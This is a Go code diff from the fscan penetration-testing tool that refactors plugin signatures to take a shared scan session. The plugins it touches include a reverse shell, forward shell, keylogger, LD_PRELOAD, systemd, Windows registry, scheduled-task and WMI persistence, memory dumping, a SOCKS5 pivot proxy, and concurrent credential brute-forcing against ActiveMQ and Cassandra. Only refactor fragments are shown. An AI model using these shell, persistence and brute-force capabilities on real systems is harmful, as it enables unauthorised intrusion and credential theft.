||||||
|
_ = clientConn.Close()
|
||||||
|
}()
|
||||||
|
|
||||||
// 发送欢迎信息
|
// 发送欢迎信息
|
||||||
welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS)
|
welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS)
|
||||||
_, _ = clientConn.Write([]byte(welcome))
|
_, _ = clientConn.Write([]byte(welcome))
|
||||||
@@ -145,7 +153,7 @@ func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) {
|
|||||||
p.executeCommand(clientConn, command)
|
p.executeCommand(clientConn, command)
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := scanner.Err(); err != nil {
|
if err := scanner.Err(); err != nil && ctx.Err() == nil {
|
||||||
common.LogError(i18n.Tr("forwardshell_read_failed", err))
|
common.LogError(i18n.Tr("forwardshell_read_failed", err))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -23,8 +23,6 @@ import (
|
|||||||
// - 保持原有功能逻辑
|
// - 保持原有功能逻辑
|
||||||
type KeyloggerPlugin struct {
|
type KeyloggerPlugin struct {
|
||||||
plugins.BasePlugin
|
plugins.BasePlugin
|
||||||
isRunning bool
|
|
||||||
stopChan chan struct{}
|
|
||||||
keyBuffer []string
|
keyBuffer []string
|
||||||
bufferMutex sync.RWMutex
|
bufferMutex sync.RWMutex
|
||||||
}
|
}
|
||||||
@@ -33,13 +31,13 @@ type KeyloggerPlugin struct {
|
|||||||
func NewKeyloggerPlugin() *KeyloggerPlugin {
|
func NewKeyloggerPlugin() *KeyloggerPlugin {
|
||||||
return &KeyloggerPlugin{
|
return &KeyloggerPlugin{
|
||||||
BasePlugin: plugins.NewBasePlugin("keylogger"),
|
BasePlugin: plugins.NewBasePlugin("keylogger"),
|
||||||
stopChan: make(chan struct{}),
|
|
||||||
keyBuffer: make([]string, 0),
|
keyBuffer: make([]string, 0),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行键盘记录 - 直接实现
|
// Scan 执行键盘记录 - 直接实现
|
||||||
func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
config := session.Config
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
|
|
||||||
// 从config获取配置
|
// 从config获取配置
|
||||||
@@ -100,10 +98,6 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, confi
|
|||||||
|
|
||||||
// startKeylogging 启动键盘记录
|
// startKeylogging 启动键盘记录
|
||||||
func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string) error {
|
func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string) error {
|
||||||
p.isRunning = true
|
|
||||||
defer func() {
|
|
||||||
p.isRunning = false
|
|
||||||
}()
|
|
||||||
|
|
||||||
// 根据平台启动相应的键盘记录
|
// 根据平台启动相应的键盘记录
|
||||||
var err error
|
var err error
|
||||||
|
|||||||
@@ -33,7 +33,8 @@ func NewLDPreloadPlugin() *LDPreloadPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行LD_PRELOAD持久化 - 直接实现
|
// Scan 执行LD_PRELOAD持久化 - 直接实现
|
||||||
func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
config := session.Config
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
|
|
||||||
if runtime.GOOS != "linux" {
|
if runtime.GOOS != "linux" {
|
||||||
|
|||||||
@@ -83,7 +83,9 @@ func NewMiniDumpPlugin() *MiniDumpPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行内存转储 - 直接实现
|
// Scan 执行内存转储 - 直接实现
|
||||||
func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
_ = session.Config
|
||||||
|
_ = session.State
|
||||||
defer func() {
|
defer func() {
|
||||||
if r := recover(); r != nil {
|
if r := recover(); r != nil {
|
||||||
common.LogError(i18n.Tr("minidump_panic", r))
|
common.LogError(i18n.Tr("minidump_panic", r))
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ package local
|
|||||||
import (
|
import (
|
||||||
"bufio"
|
"bufio"
|
||||||
"context"
|
"context"
|
||||||
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"net"
|
"net"
|
||||||
@@ -13,6 +14,7 @@ import (
|
|||||||
"runtime"
|
"runtime"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
"github.com/shadow1ng/fscan/common/i18n"
|
"github.com/shadow1ng/fscan/common/i18n"
|
||||||
@@ -38,7 +40,9 @@ func NewReverseShellPlugin() *ReverseShellPlugin {
|
|||||||
// GetName 实现Plugin接口
|
// GetName 实现Plugin接口
|
||||||
|
|
||||||
// Scan 执行反弹Shell - 直接实现
|
// Scan 执行反弹Shell - 直接实现
|
||||||
func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
|
|
||||||
// 从config获取配置
|
// 从config获取配置
|
||||||
@@ -123,12 +127,20 @@ func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host s
|
|||||||
prompt := fmt.Sprintf("%s> ", getCurrentDir())
|
prompt := fmt.Sprintf("%s> ", getCurrentDir())
|
||||||
_, _ = conn.Write([]byte(prompt))
|
_, _ = conn.Write([]byte(prompt))
|
||||||
|
|
||||||
|
// 设置读取超时,以便能响应 ctx 取消
|
||||||
|
_ = conn.SetReadDeadline(time.Now().Add(1 * time.Second))
|
||||||
|
|
||||||
// 读取命令
|
// 读取命令
|
||||||
cmdLine, err := reader.ReadString('\n')
|
cmdLine, err := reader.ReadString('\n')
|
||||||
if err != nil {
|
if err != nil {
|
||||||
if err == io.EOF {
|
if err == io.EOF {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
// 超时继续循环检查 ctx
|
||||||
|
var netErr net.Error
|
||||||
|
if errors.As(err, &netErr) && netErr.Timeout() {
|
||||||
|
continue
|
||||||
|
}
|
||||||
return fmt.Errorf("读取命令错误: %w", err)
|
return fmt.Errorf("读取命令错误: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -33,7 +33,8 @@ func NewShellEnvPlugin() *ShellEnvPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行Shell环境变量持久化 - 直接实现
|
// Scan 执行Shell环境变量持久化 - 直接实现
|
||||||
func (p *ShellEnvPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *ShellEnvPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
config := session.Config
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
|
|
||||||
if runtime.GOOS != "linux" {
|
if runtime.GOOS != "linux" {
|
||||||
|
|||||||
@@ -36,7 +36,9 @@ func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行SOCKS5代理扫描 - 直接实现
|
// Scan 执行SOCKS5代理扫描 - 直接实现
|
||||||
func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
|
|
||||||
// 从config获取配置
|
// 从config获取配置
|
||||||
@@ -118,24 +120,34 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 并发处理客户端连接
|
// 并发处理客户端连接
|
||||||
go p.handleClient(conn)
|
go p.handleClient(ctx, conn)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// handleClient 处理客户端连接
|
// handleClient 处理客户端连接
|
||||||
func (p *Socks5ProxyPlugin) handleClient(clientConn net.Conn) {
|
func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Conn) {
|
||||||
defer func() { _ = clientConn.Close() }()
|
defer func() { _ = clientConn.Close() }()
|
||||||
|
|
||||||
|
// ctx 取消时关闭连接,解除阻塞的 IO
|
||||||
|
go func() {
|
||||||
|
<-ctx.Done()
|
||||||
|
_ = clientConn.Close()
|
||||||
|
}()
|
||||||
|
|
||||||
// SOCKS5握手阶段
|
// SOCKS5握手阶段
|
||||||
if err := p.handleSocks5Handshake(clientConn); err != nil {
|
if err := p.handleSocks5Handshake(clientConn); err != nil {
|
||||||
common.LogError(i18n.Tr("socks5_handshake_failed", err))
|
if ctx.Err() == nil {
|
||||||
|
common.LogError(i18n.Tr("socks5_handshake_failed", err))
|
||||||
|
}
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// SOCKS5请求阶段
|
// SOCKS5请求阶段
|
||||||
targetConn, _, err := p.handleSocks5Request(clientConn)
|
targetConn, _, err := p.handleSocks5Request(clientConn)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
common.LogError(i18n.Tr("socks5_request_failed", err))
|
if ctx.Err() == nil {
|
||||||
|
common.LogError(i18n.Tr("socks5_request_failed", err))
|
||||||
|
}
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
defer func() { _ = targetConn.Close() }()
|
defer func() { _ = targetConn.Close() }()
|
||||||
|
|||||||
@@ -33,7 +33,8 @@ func NewSystemdServicePlugin() *SystemdServicePlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行系统服务持久化 - 直接实现
|
// Scan 执行系统服务持久化 - 直接实现
|
||||||
func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
config := session.Config
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
|
|
||||||
if runtime.GOOS != "linux" {
|
if runtime.GOOS != "linux" {
|
||||||
|
|||||||
@@ -33,7 +33,7 @@ func NewSystemInfoPlugin() *SystemInfoPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行系统信息收集 - 直接、简单、有效
|
// Scan 执行系统信息收集 - 直接、简单、有效
|
||||||
func (p *SystemInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *SystemInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
|
|
||||||
output.WriteString("=== 系统信息收集 ===\n")
|
output.WriteString("=== 系统信息收集 ===\n")
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ import (
|
|||||||
// Plugin 本地插件接口 - 不需要端口概念
|
// Plugin 本地插件接口 - 不需要端口概念
|
||||||
type Plugin interface {
|
type Plugin interface {
|
||||||
Name() string
|
Name() string
|
||||||
Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result
|
Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result
|
||||||
}
|
}
|
||||||
|
|
||||||
// RegisterLocalPlugin 注册本地插件 - 自动标记local类型
|
// RegisterLocalPlugin 注册本地插件 - 自动标记local类型
|
||||||
|
|||||||
@@ -32,7 +32,9 @@ func NewWinRegistryPlugin() *WinRegistryPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行Windows注册表持久化 - 直接实现
|
// Scan 执行Windows注册表持久化 - 直接实现
|
||||||
func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
config := session.Config
|
||||||
|
_ = session.State
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
|
|
||||||
if runtime.GOOS != "windows" {
|
if runtime.GOOS != "windows" {
|
||||||
|
|||||||
@@ -33,7 +33,9 @@ func NewWinSchTaskPlugin() *WinSchTaskPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行Windows计划任务持久化 - 直接实现
|
// Scan 执行Windows计划任务持久化 - 直接实现
|
||||||
func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
config := session.Config
|
||||||
|
_ = session.State
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
|
|
||||||
// 从config获取配置
|
// 从config获取配置
|
||||||
|
|||||||
@@ -33,7 +33,9 @@ func NewWinServicePlugin() *WinServicePlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行Windows服务持久化 - 直接实现
|
// Scan 执行Windows服务持久化 - 直接实现
|
||||||
func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
config := session.Config
|
||||||
|
_ = session.State
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
|
|
||||||
// 从config获取配置
|
// 从config获取配置
|
||||||
|
|||||||
@@ -33,7 +33,9 @@ func NewWinStartupPlugin() *WinStartupPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行Windows启动文件夹持久化 - 直接实现
|
// Scan 执行Windows启动文件夹持久化 - 直接实现
|
||||||
func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
config := session.Config
|
||||||
|
_ = session.State
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
|
|
||||||
// 从config获取配置
|
// 从config获取配置
|
||||||
|
|||||||
@@ -33,7 +33,9 @@ func NewWinWMIPlugin() *WinWMIPlugin {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Scan 执行Windows WMI事件订阅持久化 - 直接实现
|
// Scan 执行Windows WMI事件订阅持久化 - 直接实现
|
||||||
func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||||
|
config := session.Config
|
||||||
|
_ = session.State
|
||||||
var output strings.Builder
|
var output strings.Builder
|
||||||
|
|
||||||
// 从config获取配置
|
// 从config获取配置
|
||||||
|
|||||||
@@ -25,11 +25,12 @@ func NewActiveMQPlugin() *ActiveMQPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
return p.identifyService(ctx, info, config, state)
|
return p.identifyService(ctx, info, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 生成测试凭据
|
// 生成测试凭据
|
||||||
@@ -48,8 +49,8 @@ func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 使用公共框架进行并发凭据测试
|
// 使用公共框架进行并发凭据测试
|
||||||
authFn := p.createAuthFunc(info, config, state)
|
authFn := p.createAuthFunc(info, session)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "activemq", testConfig)
|
result := TestCredentialsConcurrently(ctx, credentials, authFn, "activemq", testConfig)
|
||||||
|
|
||||||
@@ -61,23 +62,23 @@ func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config
|
|||||||
}
|
}
|
||||||
|
|
||||||
// createAuthFunc 创建ActiveMQ认证函数
|
// createAuthFunc 创建ActiveMQ认证函数
|
||||||
func (p *ActiveMQPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
func (p *ActiveMQPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
|
||||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||||
return p.doActiveMQAuth(ctx, info, cred, config, state)
|
return p.doActiveMQAuth(ctx, info, cred, session)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// doActiveMQAuth 执行ActiveMQ认证
|
// doActiveMQAuth 执行ActiveMQ认证
|
||||||
func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
config := session.Config
|
||||||
timeout := config.Timeout
|
timeout := config.Timeout
|
||||||
|
|
||||||
resultChan := make(chan *AuthResult, 1)
|
resultChan := make(chan *AuthResult, 1)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
resultChan <- &AuthResult{
|
resultChan <- &AuthResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
ErrorType: classifyActiveMQErrorType(err),
|
ErrorType: classifyActiveMQErrorType(err),
|
||||||
@@ -88,7 +89,6 @@ func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostIn
|
|||||||
|
|
||||||
success, err := p.authenticateSTOMP(conn, cred.Username, cred.Password, config)
|
success, err := p.authenticateSTOMP(conn, cred.Username, cred.Password, config)
|
||||||
if success {
|
if success {
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
resultChan <- &AuthResult{
|
resultChan <- &AuthResult{
|
||||||
Success: true,
|
Success: true,
|
||||||
Conn: &activeMQConnWrapper{conn},
|
Conn: &activeMQConnWrapper{conn},
|
||||||
@@ -99,7 +99,6 @@ func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostIn
|
|||||||
}
|
}
|
||||||
|
|
||||||
_ = conn.Close()
|
_ = conn.Close()
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
resultChan <- &AuthResult{
|
resultChan <- &AuthResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
ErrorType: classifyActiveMQErrorType(err),
|
ErrorType: classifyActiveMQErrorType(err),
|
||||||
@@ -111,7 +110,6 @@ func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostIn
|
|||||||
case result := <-resultChan:
|
case result := <-resultChan:
|
||||||
return result
|
return result
|
||||||
case <-ctx.Done():
|
case <-ctx.Done():
|
||||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
|
||||||
go func() {
|
go func() {
|
||||||
result := <-resultChan
|
result := <-resultChan
|
||||||
if result != nil && result.Conn != nil {
|
if result != nil && result.Conn != nil {
|
||||||
@@ -199,13 +197,12 @@ func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password str
|
|||||||
}
|
}
|
||||||
|
|
||||||
// identifyService ActiveMQ服务识别
|
// identifyService ActiveMQ服务识别
|
||||||
func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
timeout := config.Timeout
|
timeout := session.Config.Timeout
|
||||||
|
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
Service: "activemq",
|
Service: "activemq",
|
||||||
@@ -218,7 +215,6 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI
|
|||||||
|
|
||||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||||
if _, writeErr := conn.Write([]byte(stompConnect)); writeErr != nil {
|
if _, writeErr := conn.Write([]byte(stompConnect)); writeErr != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
Service: "activemq",
|
Service: "activemq",
|
||||||
@@ -230,7 +226,6 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI
|
|||||||
response := make([]byte, 512)
|
response := make([]byte, 512)
|
||||||
n, err := conn.Read(response)
|
n, err := conn.Read(response)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
Service: "activemq",
|
Service: "activemq",
|
||||||
@@ -245,7 +240,6 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
responseStr := string(response[:n])
|
responseStr := string(response[:n])
|
||||||
|
|
||||||
if common.ContainsAny(responseStr, "CONNECTED", "ERROR") {
|
if common.ContainsAny(responseStr, "CONNECTED", "ERROR") {
|
||||||
|
|||||||
@@ -24,7 +24,9 @@ func NewCassandraPlugin() *CassandraPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
@@ -47,7 +49,7 @@ func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, confi
|
|||||||
|
|
||||||
// 使用公共框架进行并发凭据测试
|
// 使用公共框架进行并发凭据测试
|
||||||
authFn := p.createAuthFunc(info, config, state)
|
authFn := p.createAuthFunc(info, config, state)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "cassandra", testConfig)
|
result := TestCredentialsConcurrently(ctx, credentials, authFn, "cassandra", testConfig)
|
||||||
|
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import (
|
|||||||
"database/sql"
|
"database/sql"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
|
"net"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -77,12 +78,18 @@ func TestSingleCredential(ctx context.Context, cred Credential, authFn AuthFunc)
|
|||||||
case result := <-resultChan:
|
case result := <-resultChan:
|
||||||
return result
|
return result
|
||||||
case <-ctx.Done():
|
case <-ctx.Done():
|
||||||
// context 被取消,但 goroutine 可能还在运行
|
// context 被取消,但 authFn goroutine 可能还阻塞在第三方库 IO 上
|
||||||
// 启动清理协程:等待结果并关闭连接
|
// 限时等待:超过 5 秒直接放弃,避免 goroutine 无限泄漏
|
||||||
go func() {
|
go func() {
|
||||||
result := <-resultChan
|
timer := time.NewTimer(5 * time.Second)
|
||||||
if result != nil && result.Conn != nil {
|
defer timer.Stop()
|
||||||
_ = result.Conn.Close()
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
if result != nil && result.Conn != nil {
|
||||||
|
_ = result.Conn.Close()
|
||||||
|
}
|
||||||
|
case <-timer.C:
|
||||||
|
// 第三方库不响应取消,放弃等待
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
return &AuthResult{
|
return &AuthResult{
|
||||||
@@ -103,6 +110,7 @@ type ConcurrentTestConfig struct {
|
|||||||
MaxRetries int // 最大重试次数,默认 3
|
MaxRetries int // 最大重试次数,默认 3
|
||||||
RetryDelay time.Duration // 重试延迟,默认 1s
|
RetryDelay time.Duration // 重试延迟,默认 1s
|
||||||
MaxConsecutiveNetErrors int // 连续网络错误阈值,超过则认为目标不可达,默认 5
|
MaxConsecutiveNetErrors int // 连续网络错误阈值,超过则认为目标不可达,默认 5
|
||||||
|
TargetAddr string // 目标地址 host:port,用于 TCP 预检(可选)
|
||||||
}
|
}
|
||||||
|
|
||||||
// DefaultConcurrentTestConfig 默认配置
|
// DefaultConcurrentTestConfig 默认配置
|
||||||
@@ -112,12 +120,20 @@ func DefaultConcurrentTestConfig(config *common.Config) ConcurrentTestConfig {
|
|||||||
concurrency = 10
|
concurrency = 10
|
||||||
}
|
}
|
||||||
return ConcurrentTestConfig{
|
return ConcurrentTestConfig{
|
||||||
Concurrency: concurrency,
|
Concurrency: concurrency,
|
||||||
MaxRetries: 3,
|
MaxRetries: 3,
|
||||||
RetryDelay: time.Second,
|
RetryDelay: time.Second,
|
||||||
|
MaxConsecutiveNetErrors: 5,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// DefaultConcurrentTestConfigWithTarget 带目标预检的默认配置
|
||||||
|
func DefaultConcurrentTestConfigWithTarget(config *common.Config, info *common.HostInfo) ConcurrentTestConfig {
|
||||||
|
cfg := DefaultConcurrentTestConfig(config)
|
||||||
|
cfg.TargetAddr = fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||||
|
return cfg
|
||||||
|
}
|
||||||
|
|
||||||
// TestCredentialsConcurrently 并发测试多个凭据
|
// TestCredentialsConcurrently 并发测试多个凭据
|
||||||
// 找到成功凭据后立即通知其他 worker 停止
|
// 找到成功凭据后立即通知其他 worker 停止
|
||||||
func TestCredentialsConcurrently(
|
func TestCredentialsConcurrently(
|
||||||
@@ -135,6 +151,20 @@ func TestCredentialsConcurrently(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// TCP 预检:快速验证目标可达,避免对不可达目标浪费全部凭据尝试
|
||||||
|
// 代理模式下跳过:net.DialTimeout 直连无法到达代理后的内网目标
|
||||||
|
if testConfig.TargetAddr != "" && !common.IsProxyEnabled() {
|
||||||
|
preConn, err := net.DialTimeout("tcp", testConfig.TargetAddr, 3*time.Second)
|
||||||
|
if err != nil {
|
||||||
|
return &ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Service: serviceName,
|
||||||
|
Error: fmt.Errorf("目标不可达: %w", err),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ = preConn.Close()
|
||||||
|
}
|
||||||
|
|
||||||
// 调整并发数
|
// 调整并发数
|
||||||
concurrency := testConfig.Concurrency
|
concurrency := testConfig.Concurrency
|
||||||
if concurrency > len(credentials) {
|
if concurrency > len(credentials) {
|
||||||
@@ -145,9 +175,9 @@ func TestCredentialsConcurrently(
|
|||||||
cancelCtx, cancel := context.WithCancel(ctx)
|
cancelCtx, cancel := context.WithCancel(ctx)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
// 通道
|
// 通道(buffer 设为 concurrency+1 避免 worker 阻塞在发送上)
|
||||||
credChan := make(chan Credential, len(credentials))
|
credChan := make(chan Credential, len(credentials))
|
||||||
resultChan := make(chan *ScanResult, concurrency)
|
resultChan := make(chan *ScanResult, concurrency+1)
|
||||||
|
|
||||||
// 发送所有凭据
|
// 发送所有凭据
|
||||||
for _, cred := range credentials {
|
for _, cred := range credentials {
|
||||||
@@ -205,6 +235,12 @@ func workerTestCredentials(
|
|||||||
serviceName string,
|
serviceName string,
|
||||||
